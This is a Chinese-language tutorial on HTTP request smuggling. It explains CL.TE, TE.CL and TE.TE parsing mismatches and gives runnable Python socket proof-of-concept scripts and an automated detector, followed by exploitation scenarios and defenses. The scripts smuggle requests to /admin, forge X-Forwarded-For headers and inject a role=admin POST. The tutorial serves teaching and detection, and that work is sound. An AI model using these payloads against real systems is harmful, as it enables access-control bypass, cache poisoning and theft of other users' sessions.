前言

HTTP Request Smuggling（HTTP 请求走私）是一种利用前端代理/负载均衡器与后端服务器对 HTTP 请求解析差异的攻击技术。当链路上的两台服务器对 Content-Length（CL）和 Transfer-Encoding（TE）头的处理不一致时，攻击者可以在一个请求中”夹带”另一个请求，导致请求被错误路由、缓存投毒、权限绕过等严重后果。

本文从 Python socket 编程出发，逐步拆解走私原理，并给出可运行的 PoC 代码。

一、基础知识

1.1 HTTP 持久连接（Keep-Alive）

HTTP/1.1 默认使用持久连接，即一个 TCP 连接上可以发送多个 HTTP 请求，后端通过 Content-Length 或 Transfer-Encoding 来判断每个请求的边界。请求走私正是利用边界判断的不一致来作文章。

1
[请求A][请求B][请求C]  ← 同一个 TCP 连接，按边界切分

1.2 socket 编程基础

1
2
3
4
5
6
7
8
9
10
import socket

# 创建 TCP socket
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_socket.bind(('0.0.0.0', 8080))
server_socket.listen(5)  # 最多 5 个客户端排队

while True:
    client_socket, client_address = server_socket.accept()
    handle_client(client_socket)

拿到 client_socket 后的常用方法：

1
2
3
4
5
6
7
8
client_address = client_socket.getpeername()   # ('192.168.1.100', 54321)
server_address = client_socket.getsockname()   # ('0.0.0.0', 8080)
fd = client_socket.fileno()                    # 操作系统级文件描述符

# 收发数据
data = client_socket.recv(4096)                # 接收（阻塞）
client_socket.send(b"HTTP/1.1 200 OK\r\n...")  # 发送
client_socket.close()

在请求走私的 PoC 中，send() 是最关键的操作——我们可以精确控制发送的原始字节，不经过浏览器的任何限制。

二、HTTP 请求边界判定机制

2.1 Content-Length（CL）

服务器通过 Content-Length 头知道请求体的字节数，读取完指定字节后即认为当前请求结束。

1
2
3
4
5
POST / HTTP/1.1
Host: example.com
Content-Length: 13

Hello, World!

后端读取 Body 部分的 13 字节，剩余的 TCP 流数据属于下一个请求。

2.2 Transfer-Encoding: chunked（TE）

分块传输编码，适用于请求体长度未知的场景。格式如下：

1
2
3
4
5
6
7
8
9
10
HTTP/1.1 200 OK
Content-Type: text/plain
Transfer-Encoding: chunked

7\r\n
Mozilla\r\n
11\r\n
Developer Network\r\n
0\r\n
\r\n

每个 chunk 的格式为：<十六进制长度>\r\n<数据>\r\n，最后以 0\r\n\r\n 表示结束。

三、请求走私的三种类型

当前端（代理/CDN/负载均衡）和后端对请求边界的解析不一致时，就会出现走私漏洞。

类型 前端使用 后端使用 原理
CL.TE Content-Length Transfer-Encoding 前端按 CL 发完整包，后端按 TE 解析，Body 被截断
TE.CL Transfer-Encoding Content-Length 前端按 TE 发完整包，后端按 CL 解析，Body 被截断
TE.TE Transfer-Encoding Transfer-Encoding 前端和后端都认 TE，但对混淆 TE 的处理不同

四、CL.TE 走私

4.1 原理

前端用 Content-Length 确定边界，后端优先使用 Transfer-Encoding: chunked 确定边界。

攻击者构造的请求：

1
2
3
4
5
6
7
8
9
POST / HTTP/1.1
Host: vulnerable.com
Content-Length: 13
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: vulnerable.com
  • 前端看 Content-Length: 13，把整个请求（包括后面的 GET /admin）作为一个完整请求发给后端。
  • 后端支持 Transfer-Encoding: chunked，读到 0\r\n\r\n 就认为当前请求结束，把剩下的 GET /admin HTTP/1.1\r\nHost: ... 当成下一个请求来处理。

这样 GET /admin 就被”走私”进去了——它不属于任何正常请求，但后端会独立处理它。

4.2 Python 实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import socket
from urllib.parse import urlparse


def cl_te_smuggle(target_url):
    """CL.TE 请求走私 PoC"""
    parsed = urlparse(target_url)
    host = parsed.hostname
    port = parsed.port or (443 if parsed.scheme == 'https' else 80)

    # 走私的攻击请求（被后端当作单独请求处理）
    smuggle_payload = (
        "GET /admin HTTP/1.1\r\n"
        f"Host: {host}\r\n"
        "Connection: keep-alive\r\n"
        "\r\n"
    )

    body = (
        "0\r\n"          # chunked 终止符——后端在此结束当前请求
        "\r\n"
    )
    body += smuggle_payload

    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((host, port))

    request = (
        f"POST / HTTP/1.1\r\n"
        f"Host: {host}\r\n"
        f"Content-Length: {len(body)}\r\n"       # 前端按 CL 计算总长度
        f"Transfer-Encoding: chunked\r\n"         # 后端按 TE 解析
        f"Connection: keep-alive\r\n"
        f"\r\n"
        f"{body}"
    )

    sock.send(request.encode())
    response = sock.recv(4096)
    print(f"[*] 第一个响应（正常请求）:\n{response.decode(errors='ignore')}")

    # 接收走私请求的响应
    response2 = sock.recv(4096)
    print(f"[*] 第二个响应（走私请求）:\n{response2.decode(errors='ignore')}")

    sock.close()


if __name__ == "__main__":
    cl_te_smuggle("http://target.example.com/")

4.3 走私请求变体

走私的请求可以是任何合法的 HTTP 请求：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# 变体 1：读取敏感路径
smuggle_payload = "GET /admin/flag HTTP/1.1\r\nHost: {host}\r\n\r\n"

# 变体 2：POST 走私（修改数据）
smuggle_payload = (
    "POST /api/update HTTP/1.1\r\n"
    f"Host: {host}\r\n"
    "Content-Type: application/x-www-form-urlencoded\r\n"
    "Content-Length: 15\r\n"
    "\r\n"
    "role=admin&id=1"
)

# 变体 3：走私 + X-Forwarded-* 伪造来源
smuggle_payload = (
    "GET /admin HTTP/1.1\r\n"
    f"Host: {host}\r\n"
    "X-Forwarded-For: 127.0.0.1\r\n"
    "X-Forwarded-Host: localhost\r\n"
    "\r\n"
)

五、TE.CL 走私

5.1 原理

前端使用 Transfer-Encoding: chunked 确定边界，后端使用 Content-Length 确定边界。

1
2
3
4
5
6
7
8
9
10
11
12
13
POST / HTTP/1.1
Host: vulnerable.com
Content-Length: 4
Transfer-Encoding: chunked

5c
GET /admin HTTP/1.1
Host: vulnerable.com
Content-Length: 11

x=
0

  • 前端按 chunked 解析：5c（92 字节）= 从 GET /admin 到 x= 之前的内容，然后 0\r\n\r\n 结束。
  • 后端用 Content-Length: 4，只读 4 字节（5c\r\n），剩下的 GET /admin ... 被当作下一个请求。

注意：5c 是十六进制数（92），等于从 GET /admin\r\n 开始到 x= 结束的字节数。这个值需要精确计算。

5.2 Python 实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
import socket
from urllib.parse import urlparse


def te_cl_smuggle(target_url):
    """TE.CL 请求走私 PoC"""
    parsed = urlparse(target_url)
    host = parsed.hostname
    port = parsed.port or (443 if parsed.scheme == 'https' else 80)

    smuggle_payload = (
        "GET /admin HTTP/1.1\r\n"
        f"Host: {host}\r\n"
        "Connection: keep-alive\r\n"
        "Content-Length: 11\r\n"
        "\r\n"
        "x="
        # 注意：x= 后面的 "0\r\n\r\n" 被后端当作下一个 chunk 的起始
    )

    smuggle_bytes = smuggle_payload.encode()
    chunk_size = hex(len(smuggle_bytes))[2:]  # 计算 chunk 长度

    body = (
        f"{chunk_size}\r\n"
        f"{smuggle_payload}"
        "0\r\n"      # 后端当作 chunk 长度和 chunk 数据
        "\r\n"
    )

    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((host, port))

    request = (
        f"POST / HTTP/1.1\r\n"
        f"Host: {host}\r\n"
        f"Content-Length: 4\r\n"               # 后端按 CL=4，只读到 "5c\r\n"
        f"Transfer-Encoding: chunked\r\n"       # 前端按 TE 解析
        f"Connection: keep-alive\r\n"
        f"\r\n"
        f"{body}"
    )

    sock.send(request.encode())
    response = sock.recv(4096)
    print(f"[*] 第一个响应:\n{response.decode(errors='ignore')}")

    response2 = sock.recv(4096)
    print(f"[*] 走私请求响应:\n{response2.decode(errors='ignore')}")

    sock.close()


if __name__ == "__main__":
    te_cl_smuggle("http://target.example.com/")

5.3 关键细节

为什么 Content-Length: 4？

前端按 chunked 处理，不会看 Content-Length；后端只认 Content-Length，读到第 4 个字节就停止——也就是读完 5c\r\n（5 c \r \n = 4 字节）。剩下的所有内容（从 GET /admin 开始）被后端当作新请求。

六、TE.TE 走私

6.1 原理

前后端都支持 Transfer-Encoding: chunked，但可以通过混淆 TE 头来制造差异。常见的绕过手段：

混淆方式 示例 效果
大小写变化 Transfer-encoding: chunked 部分代理不识别
添加空格 Transfer-Encoding : chunked 同上
重复头部 Transfer-Encoding: identity\r\nTransfer-Encoding: chunked 歧义
头部值换行 Transfer-Encoding:\r\n chunked 解析器差异
非法字符 Transfer-Encoding: chunked\x0b 部分服务器忽略

关键思路：让前端忽略 TE 而用 CL，让后端接受 TE（或反过来），制造与 CL.TE / TE.CL 相同的效果。

6.2 混淆手法与 Python 实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
import socket
from urllib.parse import urlparse


def te_te_smuggle(target_url):
    """TE.TE 走私——通过头部混淆制造差异"""
    parsed = urlparse(target_url)
    host = parsed.hostname
    port = parsed.port or (443 if parsed.scheme == 'https' else 80)

    smuggle_payload = (
        "GET /admin HTTP/1.1\r\n"
        f"Host: {host}\r\n"
        "Connection: keep-alive\r\n"
        "\r\n"
    )

    body = (
        "0\r\n"
        "\r\n"
    )
    body += smuggle_payload

    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((host, port))

    request = (
        f"POST / HTTP/1.1\r\n"
        f"Host: {host}\r\n"
        f"Content-Length: {len(body)}\r\n"
        # 混淆 1：大小写变化——部分代理不识别
        f"Transfer-encoding: chunked\r\n"
        # 混淆 2：tab 前缀，有的代理认为非法从而 fallback 到 CL
        f"Transfer-Encoding:\tchunked\r\n"
        # 混淆 3：重复 TE 头，让不同解析器选不同值
        f"Transfer-Encoding: x\r\n"
        f"Transfer-Encoding: chunked\r\n"
        f"Connection: keep-alive\r\n"
        f"\r\n"
        f"{body}"
    )

    sock.send(request.encode())
    response = sock.recv(4096)
    print(f"[*] 响应:\n{response.decode(errors='ignore')}")

    response2 = sock.recv(4096)
    if response2:
        print(f"[*] 走私请求响应:\n{response2.decode(errors='ignore')}")
    else:
        print("[!] 未收到第二个响应，走私可能失败")

    sock.close()


if __name__ == "__main__":
    te_te_smuggle("http://target.example.com/")

七、完整的自动化走私检测脚本

结合以上三种类型，写一个自动化的漏洞验证脚本：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
#!/usr/bin/env python3
"""HTTP Request Smuggling 自动检测工具"""

import socket
import ssl
import time
from urllib.parse import urlparse


class SmugglerDetector:

    def __init__(self, target_url, timeout=5):
        self.parsed = urlparse(target_url)
        self.host = self.parsed.hostname
        self.port = self.parsed.port or (443 if self.parsed.scheme == 'https' else 80)
        self.use_tls = self.parsed.scheme == 'https'
        self.timeout = timeout

    def _connect(self):
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(self.timeout)
        if self.use_tls:
            ctx = ssl.create_default_context()
            sock = ctx.wrap_socket(sock, server_hostname=self.host)
        sock.connect((self.host, self.port))
        return sock

    def _send_and_recv(self, sock, request, n=2):
        """发送请求并接收 n 个响应"""
        sock.send(request.encode())
        responses = []
        for _ in range(n):
            try:
                resp = sock.recv(4096)
                if resp:
                    responses.append(resp)
                else:
                    break
            except socket.timeout:
                break
        sock.close()
        return responses

    def detect_cl_te(self):
        """检测 CL.TE 走私"""
        smuggle = (
            "GET /404nonexistent HTTP/1.1\r\n"
            f"Host: {self.host}\r\n"
            "\r\n"
        )
        body = "0\r\n\r\n" + smuggle

        request = (
            f"POST / HTTP/1.1\r\n"
            f"Host: {self.host}\r\n"
            f"Content-Length: {len(body)}\r\n"
            f"Transfer-Encoding: chunked\r\n"
            f"Connection: keep-alive\r\n"
            f"\r\n"
            f"{body}"
        )

        responses = self._send_and_recv(self._connect(), request)
        if len(responses) > 1:
            return True, f"收到 {len(responses)} 个响应——CL.TE 走私可能存在"
        return False, "未检测到 CL.TE"

    def detect_te_cl(self):
        """检测 TE.CL 走私"""
        smuggle = (
            "GET /404nonexistent HTTP/1.1\r\n"
            f"Host: {self.host}\r\n"
            "Connection: keep-alive\r\n"
            "\r\n"
        )
        smuggle_bytes = smuggle.encode()
        chunk_len = hex(len(smuggle_bytes))[2:]

        body = f"{chunk_len}\r\n{smuggle}0\r\n\r\n"

        request = (
            f"POST / HTTP/1.1\r\n"
            f"Host: {self.host}\r\n"
            f"Content-Length: 4\r\n"
            f"Transfer-Encoding: chunked\r\n"
            f"Connection: keep-alive\r\n"
            f"\r\n"
            f"{body}"
        )

        responses = self._send_and_recv(self._connect(), request)
        if len(responses) > 1:
            return True, f"收到 {len(responses)} 个响应——TE.CL 走私可能存在"
        return False, "未检测到 TE.CL"

    def run(self):
        print(f"[*] 目标: {self.host}:{self.port}  (TLS={self.use_tls})\n")

        for name, method in [
            ("CL.TE", self.detect_cl_te),
            ("TE.CL", self.detect_te_cl),
        ]:
            try:
                vulnerable, detail = method()
                status = "[+] VULN" if vulnerable else "[-] SAFE"
                print(f"  {status} | {name} : {detail}")
            except Exception as e:
                print(f"  [!] ERROR | {name} : {e}")
            time.sleep(0.5)  # 避免触发速率限制


if __name__ == "__main__":
    import sys
    detector = SmugglerDetector(sys.argv[1] if len(sys.argv) > 1 else "http://example.com")
    detector.run()

八、利用场景与危害

攻击场景 利用方式 危害
缓存投毒 走私一个带恶意 X-Forwarded-Host 等的请求，污染 CDN 缓存 其他用户访问正常页面时被重定向到恶意站点
权限绕过 走私请求绕过前端代理的 ACL（如 GET /admin） 未授权访问后台接口
窃取他人请求 在走私请求里夹带 Content-Length: 9999，把下一个正常用户的请求”吃掉”，拼入攻击者的响应 窃取 Session、Token 等敏感凭证
XSS 升级 缓存投毒 + 注入恶意 JS → 持久性 XSS 影响所有访问被缓存页面的用户
WAF 绕过 利用走私拆散攻击 payload，使 WAF 无法识别 绕过安全检测

九、防御措施

防御手段 说明
统一协议版本 前后端统一使用 HTTP/2 或 HTTP/3——这些协议有明确的帧边界，不受 CL/TE 二义性影响
禁止复用连接 后端每个请求用独立连接（性能代价高，一般不推荐）
前端规范化请求 前端代理统一解析并重写请求体，消除二义性
拒绝歧义请求 如果同时出现 Content-Length 和 Transfer-Encoding 或 TE 格式异常，直接返回 400
定期扫描 用自动化工具对全站做走私检测

参考